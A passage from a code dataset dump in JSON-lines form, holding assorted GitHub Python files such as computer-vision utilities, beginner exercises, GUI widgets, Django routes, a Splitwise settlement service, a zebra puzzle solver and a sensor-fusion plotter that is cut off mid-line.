calculate_histogram_from_coordinates(os.path.join(images_path, first_image_name), bbox)\n histogram_frame_next = calculate_histogram_from_coordinates(os.path.join(images_path, second_image_name), bbox)\n \n hist_distance = calculate_histogram_distance(histogram_frame_curr[0], histogram_frame_next[0])\n if hist_distance < 3:\n img = draw_bounding_box(Image.open(os.path.join(images_path, second_image_name)), [bbox])\n img.save(os.path.join(output_dir, second_image_name), \"JPEG\")\n second_bboxes.append(bbox)\n \n write_new_bounding_box(os.path.join(txt_path, second_image_name.replace('.jpg', '.txt')), second_bboxes)\n \n \ndef write_new_bounding_box(file_path: str, bboxes: List[List[float]]):\n with open(file_path, mode='w') as f:\n json.dump(bboxes, f)\n \n ","repo_name":"andrea-gasparini/f1-racing-cars-tracking","sub_path":"src/app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13075,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"81"} +{"seq_id":"22141459520","text":"\"Faça uma função que informe a quantidade de dígitos de um determinado número inteiro informado.\"\n\n\ndef pedeNumero():\n numero = int(input(\"Digite um número inteiro: \"))\n return numero\n\n\ndef contaDigito(numero):\n cont = 0\n numero = str(numero)\n for num in numero:\n cont += 1\n return cont\n\n\ndef main():\n numero = pedeNumero()\n cont = contaDigito(numero)\n print(\"O número %d tem %d dígitos.\" % (numero, cont))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"TassioSales/Python_Brasil_exercicios","sub_path":"5 - ExerciciosFuncoes/Exercicio_8.py","file_name":"Exercicio_8.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"16978112029","text":"try:\r\n#inputs two numbers a & b from the user\r\n a =int(input(\"Enter the first value : \"))\r\n b= int(input(\"Enter the second value : \"))\r\n\r\n#adds the two numbers\r\n c = a + b\t\r\n\r\n#printing the result\r\n print (f\"The sum of {a} and {b} is {c}.\")\r\nexcept:\r\n #handling the program from invalid inputs from the user\r\n print (\"Invalid input!\\nPlease enter a numeric value.\")\r\n","repo_name":"JitaDeveloper/My-Assignment-to-Python-programming","sub_path":"01_pr_sumofnumbers.py","file_name":"01_pr_sumofnumbers.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"41819855838","text":"\"\"\"\n\"\"\"\nfrom . import widget\n\nclass Form(widget.Widget):\n \"\"\"A form that automatically will contain all named widgets.\n \n After a form is created, all named widget that are subsequently created are \n added to that form. You may use dict style access to access named widgets.\n \n Example:\n\n f = gui.Form()\n \n w = gui.Input(\"Phil\",name=\"firstname\")\n w = gui.Input(\"Hassey\",name=\"lastname\")\n \n print f.results()\n print ''\n print f.items()\n print ''\n print f['firstname'].value\n print f['lastname'].value\n\n \"\"\"\n\n # The current form instance\n form = None\n # The list of PGU widgets that are tracked by this form\n _elist = None\n # A mapping of PGU widgets tracked by this form (name -> instance)\n _emap = None\n # The dirty flag is set when a new widget is added to the form\n _dirty = 0\n \n def __init__(self):\n widget.Widget.__init__(self,decorate=False)\n self._elist = []\n self._emap = {}\n self._dirty = 0\n # Register this form as the one used by new widgets\n Form.form = self\n \n def add(self,e,name=None,value=None):\n \"\"\"Adds a PGU widget to this form\"\"\"\n if name != None: e.name = name\n if value != None: e.value = value\n self._elist.append(e)\n self._dirty = 1\n \n def _clean(self):\n # Remove elements from our list if they no longer have an assigned name\n for e in self._elist[:]:\n if not hasattr(e,'name') or e.name == None:\n self._elist.remove(e)\n # Update the name-to-widget mapping\n self._emap = {}\n for e in self._elist:\n self._emap[e.name] = e\n self._dirty = 0\n \n def __getitem__(self,k):\n \"\"\"Returns the widget instance given the name of the widget\"\"\"\n if self._dirty: self._clean()\n return self._emap[k]\n \n def __contains__(self,k):\n \"\"\"Returns true if this form contains the named widget\"\"\"\n if self._dirty: self._clean()\n if k in self._emap: return True\n return False\n \n def results(self):\n \"\"\"Return a dict of name, widget-value pairs.\"\"\"\n if self._dirty: self._clean()\n r = {}\n for e in self._elist:\n # Make sure the widget has a 'value' (eg tables do not)\n if (hasattr(e, \"value\")):\n r[e.name] = e.value\n else:\n r[e.name] = None\n return r\n \n def items(self):\n \"\"\"Return a list of name, widget pairs.\"\"\"\n return self.results().items()\n \n\n","repo_name":"pybox2d/pybox2d","sub_path":"library/Box2D/examples/pgu/gui/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":455,"dataset":"github-code","pt":"81"} +{"seq_id":"1095243668","text":"import pytest\nfrom ladybug.epw import EPW\nfrom ladybug_comfort.collection.utci import UTCI\nfrom ladybugtools_toolkit.categorical.categories import UTCI_DEFAULT_CATEGORIES\nfrom ladybugtools_toolkit.external_comfort.utci import (\n compare_monthly_utci,\n distance_to_comfortable,\n feasible_utci_limits,\n shade_benefit_category,\n utci,\n)\n\nfrom .. import EPW_FILE\n\nEPW_OBJ = EPW(EPW_FILE)\n\nLB_UTCI_COLLECTION = UTCI(\n EPW_OBJ.dry_bulb_temperature,\n EPW_OBJ.relative_humidity,\n EPW_OBJ.dry_bulb_temperature,\n EPW_OBJ.wind_speed,\n).universal_thermal_climate_index\n\n\ndef test_utci():\n \"\"\"_\"\"\"\n assert utci(\n EPW_OBJ.dry_bulb_temperature.values,\n EPW_OBJ.relative_humidity.values,\n EPW_OBJ.dry_bulb_temperature.values,\n EPW_OBJ.wind_speed.values,\n ).mean() == pytest.approx(LB_UTCI_COLLECTION.average, rel=2)\n\n\ndef test_compare_monthly_utci():\n \"\"\"_\"\"\"\n # Test with default categories and no simplification\n a = compare_monthly_utci(\n [LB_UTCI_COLLECTION, LB_UTCI_COLLECTION + 5],\n utci_categories=UTCI_DEFAULT_CATEGORIES,\n identifiers=[\"test1\", \"test2\"],\n density=True,\n )\n assert a.shape == (12, 20)\n assert a.sum().sum() == 24\n\n # test with use of comfort class categories\n a = compare_monthly_utci(\n [LB_UTCI_COLLECTION, LB_UTCI_COLLECTION + 5],\n utci_categories=UTCI_DEFAULT_CATEGORIES,\n identifiers=[\"test1\", \"test2\"],\n density=True,\n )\n assert a.shape == (12, 20)\n\n\ndef test_shade_benefit_category():\n \"\"\"_\"\"\"\n assert (\n shade_benefit_category(\n LB_UTCI_COLLECTION, LB_UTCI_COLLECTION - 5\n ).value_counts()[\"Comfortable without shade\"]\n == 3009\n )\n assert (\n shade_benefit_category(\n LB_UTCI_COLLECTION, LB_UTCI_COLLECTION - 5, comfort_limits=(5, -10)\n ).value_counts()[\"Comfortable without shade\"]\n == 3923\n )\n\n\ndef test_distance_to_comfortable():\n \"\"\"_\"\"\"\n assert distance_to_comfortable(LB_UTCI_COLLECTION).average == pytest.approx(\n 5.228092141408169, rel=0.01\n )\n\n\ndef test_feasible_utci_limits():\n \"\"\"_\"\"\"\n a = feasible_utci_limits(\n EPW_OBJ, as_dataframe=True, include_additional_moisture=0.1\n )\n assert a.shape == (8760, 2)\n assert a.sum().sum() == pytest.approx(154055.81027975344, rel=0.0001)\n","repo_name":"BHoM/LadybugTools_Toolkit","sub_path":"LadybugTools_Engine/Python/tests/test_external_comfort/test_utci.py","file_name":"test_utci.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"41338878456","text":"import pygame\r\n\r\n\r\nclass Kotek:\r\n def __init__(self):\r\n self.__catx = 700\r\n self.__caty = 400\r\n self.__kot = pygame.image.load('cat.png')\r\n self.__ruch_poziomy = -1\r\n self.__ruch_pionowy = 0\r\n self.__kitku_dlugosc = 150\r\n self.__kitku_szerokosc = 100\r\n\r\n def ustaw_zmienne(self, ruch_poziomy, ruch_pionowy):\r\n self.__ruch_poziomy = ruch_poziomy\r\n self.__ruch_pionowy = ruch_pionowy\r\n\r\n def wyswietl_kotka(self):\r\n kitku = pygame.transform.scale(self.__kot,\r\n (self.__kitku_dlugosc,\r\n self.__kitku_szerokosc))\r\n self.__catx += self.__ruch_poziomy\r\n self.__caty += self.__ruch_pionowy\r\n return [kitku, (self.__catx, self.__caty)]\r\n\r\n def wez_polozenie(self):\r\n self.__catx += self.__ruch_poziomy\r\n self.__caty += self.__ruch_pionowy\r\n\r\n return [(self.__catx, self.__caty),\r\n (self.__catx + self.__kitku_dlugosc,\r\n self.__caty + self.__kitku_szerokosc)]\r\n","repo_name":"dziomdziorae/dziendziecka","sub_path":"kitku/kotek.py","file_name":"kotek.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"13183380135","text":"from typing import List\nimport requests\nfrom flask import current_app\n\nfrom app import db\nfrom app.models.car import Period\nfrom app.models.expense import Expense\nfrom app.models.settlement import Settlement\nfrom app.models.settlementuser import SettlementUser\n\nPARKING_CHARGE = 300\nLITERS_OF_GAS_PER_100KM = 8.0\nPRICE_OF_ONE_LITER_OF_GAS = 2.5\nCREATE_EXPENSE_URL = \"https://secure.splitwise.com/api/v3.0/create_expense\"\n\n\ndef settle(period_id):\n period = Period.query.filter_by(id=period_id).first()\n if period.settled:\n raise Exception('Period already settled')\n settlement_users = get_users_for_settlement(period)\n total_kilometers = 0\n for settlement_user in settlement_users:\n total_kilometers += settlement_user.kilometers\n for settlement_user in settlement_users:\n calculate_charge(settlement_user, total_kilometers)\n settlement = Settlement(settlement_users=settlement_users, total_kilometers=total_kilometers)\n response = create_expense(settlement)\n if spy_response(response):\n period.settled = True\n db.session.add(period)\n db.session.commit()\n\n\ndef create_expense(settlement):\n headers = {\"Authorization\": \"Bearer \" + current_app.config['SPLITWISE_BEARER']}\n expense = Expense(cost=str(settlement.total_charge), group_id=current_app.config['GROUP_ID'], splitwise_users=settlement.settlement_users)\n response = requests.post(url=CREATE_EXPENSE_URL, data=expense.to_request(), headers=headers)\n return response\n\n\ndef get_users_for_settlement(period):\n settlement_users: List[SettlementUser] = []\n for balance in period.balances:\n user = balance.user\n paying = user.name == 'Michal'\n settlement_users.append(\n SettlementUser(user=user, kilometers=balance.parking_kilometers, paying=paying, parking_charge=0,\n gas_charge=0, total_charge=0))\n return settlement_users\n\n\ndef calculate_charge(settlement_user: SettlementUser, total_kilometers):\n parking_charge = calculate_parking_charge(settlement_user.kilometers, total_kilometers)\n gas_charge = convert_kilometers_to_money(settlement_user.kilometers)\n settlement_user.parking_charge = parking_charge\n settlement_user.gas_charge = gas_charge\n settlement_user.total_charge = gas_charge + parking_charge\n\n\ndef calculate_parking_charge(user_kilometers, total_kilometers):\n parking_charge: float = user_kilometers / total_kilometers * PARKING_CHARGE\n return parking_charge\n\n\ndef convert_kilometers_to_money(kilometers):\n return kilometers * get_price_for_one_kilometer()\n\n\ndef get_price_for_one_kilometer():\n return PRICE_OF_ONE_LITER_OF_GAS * LITERS_OF_GAS_PER_100KM / 100\n\n\ndef spy_response(response):\n return response.status_code == 200 and 'base' not in str(response)\n","repo_name":"michaljk1/micra","sub_path":"app/services/PaymentUtil.py","file_name":"PaymentUtil.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"40607757897","text":"#!/usr/bin/env python\n'''\n1) There are five houses.\n2) The Englishman lives in the red house.\n3) The Spaniard owns the dog.\n4) Coffee is drunk in the green house.\n5) The Ukrainian drinks tea.\n6) The green house is immediately to the right of the ivory house.\n7) The Old Gold smoker owns snails.\n8) Kools are smoked in the yellow house.\n9) Milk is drunk in the middle house.\n10) The Norwegian lives in the first house.\n11) The man who smokes Chesterfields lives in the house next to the man with the fox.\n12) Kools are smoked in the house next to the house where the horse is kept.\n13) The Lucky Strike smoker drinks orange juice.\n14) The Japanese smokes Parliaments.\n15) The Norwegian lives next to the blue house.\n\nNow, who drinks water? Who owns the zebra?\n'''\n\nimport time\nimport itertools\n\n# houses: [red, yellow, ivory, blue, green] ==> labelled 1, 2, 3, 4, and 5\n# people: [Englishman, Spaniard, Norwegian, Japanese, Ukrainian]\n# smokes: [Old Gold, Parliaments, Chesterfields, Kools, Lucky Strike]\n# animal: [fox, ZEBRA, snails, horse, dog]\n# drinks: [juice, coffee, milk, WATER, tea]\n\n# Tools\ndef timedcall(fn, *args):\n start = time.time()\n fn(*args)\n end = time.time()\n print(f'{(end - start):.3f}')\n\n## accessed by countedcall and zebra_puzzle\ndef c(sequence):\n c.starts += 1 # need to be initialized beforehand\n for item in sequence:\n c.items += 1\n yield item\n\ndef countedcall(fn, *args):\n c.starts, c.items = 0, 0\n result = fn(*args)\n print(f'{fn.__name__} {result} {c.starts} {c.items}')\n\n\n# Aux. functions\ndef nextto(i, j):\n return abs(i - j) == 1\n\ndef rightto(i, j):\n '''We assume the houses are arranged as 1, 2, 3, 4, and 5.'''\n return i - j == 1\n\ndef zebra_puzzle():\n assignments = list(itertools.permutations(range(1,6)))\n return next((water, zebra)\n for red, yellow, ivory, blue, green in assignments\n if rightto(green, ivory) # 6\n for englishman, spaniard, norwegian, japanese, ukranian in assignments\n if englishman == red # 2\n if norwegian == 1 # 10\n if nextto(norwegian, blue) # 15\n for oldgold, parliments, chesterfields, kools, luckystrike in assignments\n if kools == yellow #8\n if japanese == parliments # 14\n for fox, zebra, snails, horse, dog in assignments\n if spaniard == dog # 3\n if oldgold == snails # 7\n if nextto(chesterfields, fox) # 11\n if nextto(kools, horse) # 12\n for juice, coffee, milk, water, tea in assignments\n if coffee == green # 4\n if ukranian == tea # 5\n if milk == 3 # 9\n if luckystrike == juice # 13\n )\n\nwater, zebra = zebra_puzzle()\nprint(f'water in house {water} and zebra in house {zebra}')\n#countedcall(zebra_puzzle)\n","repo_name":"lucper/cs212","sub_path":"lesson02/zebra.py","file_name":"zebra.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"34923909025","text":"import time\nimport numpy as np\nimport logging\nimport matplotlib.pyplot as plt\nfrom ml_logger import logger\n\nfrom cde.density_estimator.BaseDensityEstimator import BaseDensityEstimator\nfrom cde.density_simulation import BaseConditionalDensitySimulation\nfrom cde.model_fitting.GoodnessOfFitSingleResult import GoodnessOfFitSingleResult\n\n\nclass GoodnessOfFitLogProb:\n \"\"\" Class that takes an estimator a probabilistic simulation model. The estimator is fitted on n_obervation samples.\n Then the goodness of fit w.r.t to the true probability distribution is evaluated\n\n Args:\n estimator: Estimator instance that implements the functionality from BaseDensityEstimator (can be either fitted or not fitted)\n probabilistic_model: ConditionalDensity instance which implements the methods simulate, pdf, cdf\n X_train: (ndarray) training data x\n Y_train: (ndarray) training data y\n X_test: (ndarray) test data x\n Y_test: (ndarray) training data x\n task_name: specifies a unique name fo the GoodnessOfFit run, e.g. KernelMixtureNetwork_task_19. If task_name was not set during call,\n the name was specified in the estimator object (estimator.name) is used. If it was not specified there either, it is set to\n estimator and prob_model name.\n\n \"\"\"\n def __init__(self, estimator, probabilistic_model, X_train, Y_train, X_test, Y_test, task_name=None):\n\n assert isinstance(estimator, BaseDensityEstimator), \"estimator must inherit BaseDensityEstimator class\"\n assert isinstance(probabilistic_model, BaseConditionalDensitySimulation), \"probabilistic model must inherit from ConditionalDensity\"\n\n np.seterr(divide='ignore')\n\n self.probabilistic_model = probabilistic_model\n\n self.proba_model_conditional_pdf = probabilistic_model.pdf\n self.proba_model_conditional_cdf = probabilistic_model.cdf\n\n self.X_train = X_train\n self.Y_train = Y_train\n self.X_test = X_test\n self.Y_test = Y_test\n self.n_observations = X_train.shape[0]\n self.n_test_samples = Y_test.shape[0]\n\n self.estimator = estimator\n\n if task_name is not None:\n self.task_name = task_name\n elif hasattr(self.estimator, 'name'):\n self.task_name = str(self.estimator.name)\n else:\n self.task_name = type(self.estimator).__name__ + '_' + type(self.probabilistic_model).__name__\n\n def fit_estimator(self, print_fit_result=True): #todo set to False\n \"\"\"\n Fits the estimator with the provided data\n\n Args:\n print_fit_result: boolean that specifies whether the fitted distribution shall be plotted (only works if ndim_x and ndim_y = 1)\n \"\"\"\n\n self.time_to_fit = None\n if not self.estimator.fitted: # fit estimator if necessary\n t_start = time.time()\n self.estimator.fit(self.X_train, self.Y_train, verbose=False)\n self.time_to_fit = (time.time() - t_start) * self.n_observations / 1000 # time to fit per 1000 samples\n\n if print_fit_result and self.estimator.fitted:\n if self.probabilistic_model.ndim_x == 1 and self.probabilistic_model.ndim_y == 1:\n plt3d_true = self.probabilistic_model.plot(mode=\"pdf\", numpyfig=False)\n logger.log_pyplot(key=self.task_name, fig=plt3d_true)\n plt.close(plt3d_true)\n\n if self.estimator.ndim_x == 1 and self.estimator.ndim_y == 1:\n plt2d = self.estimator.plot2d(show=False, numpyfig=False)\n plt3d = self.estimator.plot3d(show=False, numpyfig=False)\n logger.log_pyplot(key=self.task_name + \"_fitted_cond_distr_2d\", fig=plt2d)\n logger.log_pyplot(key=self.task_name + \"_fitted_cond_distr_3d\", fig=plt3d)\n plt.close(plt2d)\n plt.close(plt3d)\n\n def compute_results(self):\n \"\"\"\n Computes statistics and stores the results in GoodnessOfFitResult object\n\n Returns:\n GoodnessOfFitResult object that holds the computed statistics\n \"\"\"\n assert self.estimator is not None\n assert self.probabilistic_model is not None\n\n gof_result = GoodnessOfFitSingleResult(self.estimator.get_configuration(), self.probabilistic_model.get_configuration())\n\n \"\"\" Evaluation stats \"\"\"\n gof_result.n_observations = [self.n_observations]\n gof_result.time_to_fit = self.time_to_fit\n gof_result.score = self.estimator.score(self.X_test, self.Y_test)\n\n return gof_result\n\n def __str__(self):\n return str(\"{}\\n{}\\nGoodness of fit:\\n n_observations: {}\\n n_x_cond: {}\".format(\n self.estimator, self.probabilistic_model, self.n_observations, self.x_cond))\n\n","repo_name":"freelunchtheorem/Conditional_Density_Estimation","sub_path":"cde/model_fitting/GoodnessOfFitLogProb.py","file_name":"GoodnessOfFitLogProb.py","file_ext":"py","file_size_in_byte":4456,"program_lang":"python","lang":"en","doc_type":"code","stars":168,"dataset":"github-code","pt":"81"} +{"seq_id":"13065684564","text":"# -*- coding: utf-8 -*-\n\"\"\"\nValidate Finn code operation\n\n\"\"\"\n\n__author__ = 'Samir Adrik'\n__email__ = 'samir.adrik@gmail.com'\n\nfrom source.util import Assertor, Tracking\n\nfrom ...connectors import Posten\n\nfrom .operation import Operation\n\n\nclass ValidatePostalCode(Operation):\n \"\"\"\n Operation for validating a Norwegian Postal Code\n\n \"\"\"\n\n @Tracking\n def __init__(self, postal_code: str):\n \"\"\"\n Constructor / Instantiate the class.\n\n Parameters\n ----------\n postal_code : str\n postal_code to be validated\n\n \"\"\"\n self.name = self.__class__.__name__\n Assertor.assert_data_types([postal_code], [str])\n super().__init__(name=self.name,\n desc=\"rules: {} \\\\n id: Validate Postal Code\".format(Posten.rules()))\n self.zip_code = postal_code\n\n @Tracking\n def run(self):\n \"\"\"\n method for running the operation\n\n Returns\n -------\n out : str\n validated Postal Code str\n\n \"\"\"\n Posten(self.zip_code).validate_postal_code()\n return self.zip_code\n","repo_name":"seemir/stressa","sub_path":"source/app/processing/engine/validate_postal_code.py","file_name":"validate_postal_code.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3677506560","text":"import googlemaps\nimport pandas as pd\n\n# Replace 'YOUR_API_KEY' with your actual API key\ngmaps = googlemaps.Client(key=\"AIzaSyCiQyTQ8iblBIaILbDuzS0oURGcn2nGb0c\")\n\n\ndef get_walking_time(org_location, num_places):\n \"\"\"\n Get places within a 15-minute walking distance from the specified location,\n such as public transportation, major facilities, educational institutions, and hospitals.\n\n Parameters:\n org_location (str): A string representing the departure location, such as an address or place name.\n num_places (int): Number of places to retrieve per category.\n\n Returns:\n pandas.DataFrame: A dataframe containing the category, departure location, and walking time of the retrieved places.\n \"\"\"\n # Get the latitude and longitude from the departure location.\n location = gmaps.geocode(org_location)\n assert location, \"Location not found\"\n region_location = location[0][\"geometry\"][\"location\"]\n org_latlng = f\"{region_location['lat']}, {region_location['lng']}\"\n\n # Set the mode to \"walking\" for using Google Maps Directions API.\n mode = \"walking\"\n\n # Set the maximum walking time to 15 minutes to retrieve places within a 15-minute walking distance.\n max_walking_time = 15 * 60 # 15 minutes to seconds conversion\n\n # Set the categories of the places to retrieve.\n queries = {\n \"public_transport\": \"公共交通機関\",\n \"facilities\": \"主な施設\",\n \"education\": \"教育機関\",\n \"hospital\": \"病院\",\n }\n\n # Initialize a dictionary to store the retrieved place information.\n result = {\n \"category\": [],\n \"departure_location\": [],\n \"walking_time\": [],\n }\n\n # Retrieve places for each category and store only the places within a 15-minute walking distance.\n for query_key, query_value in queries.items():\n # Retrieve all nearby places within a certain radius.\n places_result = gmaps.places_nearby(\n location=org_latlng, radius=5000, type=query_key\n )\n\n # Retrieve up to num_places places for this category.\n num_places_retrieved = 0\n for place in places_result[\"results\"]:\n if num_places_retrieved == num_places:\n break\n\n # Only store places within a 15-minute walking distance.\n latlng = place[\"geometry\"][\"location\"]\n walking_time_result = gmaps.distance_matrix(\n origins=org_latlng, destinations=latlng, mode=mode\n )\n walking_time = walking_time_result[\"rows\"][0][\"elements\"][0][\"duration\"][\n \"value\"\n ]\n if walking_time <= max_walking_time:\n result[\"category\"].append(query_value)\n result[\"departure_location\"].append(place[\"name\"])\n result[\"walking_time\"].append(f\"{walking_time // 60} minutes\")\n num_places_retrieved += 1\n\n # Convert the result to a dataframe and return it.\n df = pd.DataFrame(result)\n return df\n\n\norg = \"静岡市葵区 西草深町 28-31\"\nresp_df = get_walking_time(org, 10)\nresp_df.to_csv(f\"{org}.csv\", index=False)\nprint(resp_df)\n","repo_name":"dngaspar/mapapi","sub_path":"gpt.py","file_name":"gpt.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"7988010896","text":"from threading import Thread, Event\nfrom time import sleep\n\nimport numpy as np\n\nevent = Event()\n\n\ndef increase_by_one(array):\n print('Starting to increase by one')\n while True:\n if event.is_set():\n break\n for i in range(len(array)):\n array[i] += 1\n sleep(0.1)\n print('Finishing')\n\n\ndata = np.ones((10000, 1))\nt = Thread(target=increase_by_one, args=(data,))\nt.start()\nprint('Going to sleep')\nsleep(1)\nprint('Finished sleeping')\nevent.set()\nt.join()\nprint(data[0])\n","repo_name":"PFTL/website","sub_path":"example_code/31_threads/AM_stopping_threads.py","file_name":"AM_stopping_threads.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"81"} +{"seq_id":"4104982620","text":"loop = False\nbmis_taken = 0\nbmis_total = 0.0\nbmi_average = 0.0\nwhile loop == False:\n height = float(input(\"Your height (m): \"))\n if height <= 0:\n print(\"Please reinput your height\")\n else:\n mass = float(input(\"Your weight (kg): \"))\n if mass <= 0:\n print(\"Please reinput your height\")\n else:\n bmi = (mass / height ** 2)\n bmis_total += bmi\n print(\"Your BMI is\", str(round(bmi, 2)))\n if bmi < 18:\n print(\"It indicates you are underweight\")\n elif bmi > 25:\n print(\"It indicates you are overweight\")\n else:\n print(\"It indicates you are within normal bounds\")\n\n bmis_taken += 1\n\n again = (input(\"Another BMI? y/n: \")).lower()\n if again == 'n':\n loop = True\n\nbmi_average = float(bmis_total) / bmis_taken\nprint(\"There were\", bmis_taken, \"BMI values generated, of an average of\", str(round(bmi_average, 2)))","repo_name":"NTUDevSoc/Workshops","sub_path":"Archive/2021-22/Python Basics/Python Workshop/bmi.py","file_name":"bmi.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"81"} +{"seq_id":"22498126529","text":"import mxnet as mx\nfrom mxnet import nd\nimport time\n\n# # 简单的展示gpu配置成功\n# print(mx.cpu(), mx.gpu());\n#\n# # NDArray在CPU上运算\n# x_cpu = nd.array([1, 2, 3]);\n# print(x_cpu); # NDArray默认在CPU上 也就是物理内存上分配\n# print(x_cpu.context); # 通过context来查看NDArray所在的设备\n#\n#\n# # NDArray在GPU上运算\n# x_gpu = nd.array([1, 2, 3], ctx=mx.gpu());\n# print(x_gpu); # NDArray默认在CPU上 也就是物理内存上分配\n# print(x_gpu.context); # 通过context来查看NDArray所在的设备\n\n\n\nX = nd.random.normal(scale=10, shape=(5000000, 5000000)) # 0.00037384033203125\nY = nd.random.normal(scale=10, shape=(5000000, 5000000))\n# X = nd.random.normal(scale=10, shape=(50000, 50000), ctx=mx.gpu()) # 3.5813279151916504\n# Y = nd.random.normal(scale=10, shape=(50000, 50000), ctx=mx.gpu())\nstart = time.time()\nfor i in range(1000):\n Z = nd.dot(nd.linalg_inverse(X), nd.linalg_inverse(Y))\nprint(time.time()-start)\nprint(Z.context)\n\n# X = nd.random.normal(scale=10, shape=(5000000, 5000000))\n# start = time.time()\n# Y = X. (mx.gpu()) # 2.8572134971618652\n# print(time.time()-start)\n\n","repo_name":"ve2102388688/myMXNet","sub_path":"gpu/test_gpu.py","file_name":"test_gpu.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"18056247807","text":"\"\"\"Pystronomical URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom user import views as user_views\nfrom django.contrib.auth import views as auth_views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('super/', user_views.update_call_count, name='private-API'),\n path('', user_views.landing_page, name='landing'),\n path('home/', user_views.home, name='homepage'),\n path('account/', include('user.urls')),\n path('how-to-observe/', user_views.how_to_view, name='how-to-observe'),\n path('explore/', user_views.explore_view, name='explore'),\n path('explore/constellation/', user_views.single_constellation, name='constellation-detail'),\n path('explore/star/', user_views.single_star, name='star-detail'),\n path('api/', user_views.api_view, name='api'),\n path('feedback/', user_views.feedback_view, name='feedback'),\n path('feedback/', user_views.feedback_success_view, name='feedback-success')\n]\n","repo_name":"BeGeos/Pystronomical","sub_path":"Pystronomical/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"617983950","text":"import os\nimport json\nimport numpy as np\nimport pandas as pd\nfrom pyquaternion import Quaternion\nimport matplotlib.pyplot as plt\nimport tkinter as tk\nfrom tkinter import filedialog, ttk\n\ndef update_plot(time_point, sensor_positions, sensor_directions, ax, sensor_fusion_enabled=False):\n ax.clear()\n colors = ['red', 'blue', 'green', 'orange', 'purple', 'cyan', 'magenta', 'yellow']\n \n if sensor_fusion_enabled:\n pos, dirs = sensor_positions[-1], sensor_directions[-1]\n ax.scatter(*pos, color='red', label='Fused Sensor')\n for j, color in enumerate(['r', 'g', 'b']):\n ax.quiver(*pos, *dirs[:, j], color=color, length=0.6, normalize=True)\n else:\n for i, (pos, dirs) in enumerate(zip(sensor_positions, sensor_directions)):\n ax.scatter(*pos, color=colors[i % len(colors)], label=f'Sensor {i + 1}')\n for j, color in enumerate(['r', 'g', 'b']):\n ax.quiver(*pos, *dirs[:, j], color=color, length=0.6, normalize=True)\n \n ax.set_xlim(-2, 2)\n ax.set_ylim(-2, 2)\n ax.set_zlim(-2, 2)\n ax.set_xlabel('X-axis')\n ax.set_ylabel('Y-axis')\n ax.set_zlabel('Z-axis')\n ax.set_title(f'Time: {time_point}')\n ax.legend()\n plt.pause(0.001)\n\n\ndef load_sensor_data(sensor_file):\n sensor_data = pd.read_csv(sensor_file)\n sensor_pos = sensor_data[['pose.position.x', 'pose.position.y', 'pose.position.z']].values\n sensor_quat = sensor_data[['pose.orientation.x', 'pose.orientation.y', 'pose.orientation.z', 'pose.orientation.w']].values\n return sensor_pos, sensor_quat\n\ndef load_calibration_matrices_from_json(json_file):\n with open(json_file, 'r') as f:\n calibration_matrices = json.load(f)\n return [np.array(matrix) for matrix in calibration_matrices]\n\ndef sensor_fusion(sensor_positions, sensor_orientations):\n fused_position = np.mean(sensor_positions, axis=0)\n \n num_orientations = len(sensor_orientations)\n q_matrix = np.zeros((4, 4))\n \n for q_float in sensor_orientations:\n q = Quaternion(q_float)\n q_matrix += np.outer(q.elements, q.elements)\n \n q_matrix /= num_orientations\n eigenvalues, eigenvectors = np.linalg.eig(q_matrix)\n max_eigenvalue_index = np.argmax(eigenvalues)\n fused_orientation = Quaternion(eigenvectors[:, max_eigenvalue_index])\n \n return fused_position, fused_orientation\n\n\n\ndef perform_simulation(sensor_file, calibration_matrices, selected_sensors=None, sensor_fusion_enabled=False):\n sensor_positions, sensor_orientations = load_sensor_data(sensor_file)\n\n num_sensors = len(calibration_matrices) + 1\n\n if selected_sensors:\n start_sensor, end_sensor = selected_sensors\n else:\n start_sensor, end_sensor = 1, num_sensors\n\n start_index = 1000\n end_index = 3000\n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n time_points = range(start_index, end_index)\n for t in time_points:\n sensor_positions_t = [sensor_positions[t, :]]\n sensor_directions_t = [np.column_stack([Quaternion(sensor_orientations[t, :]).rotate(np.array([1, 0, 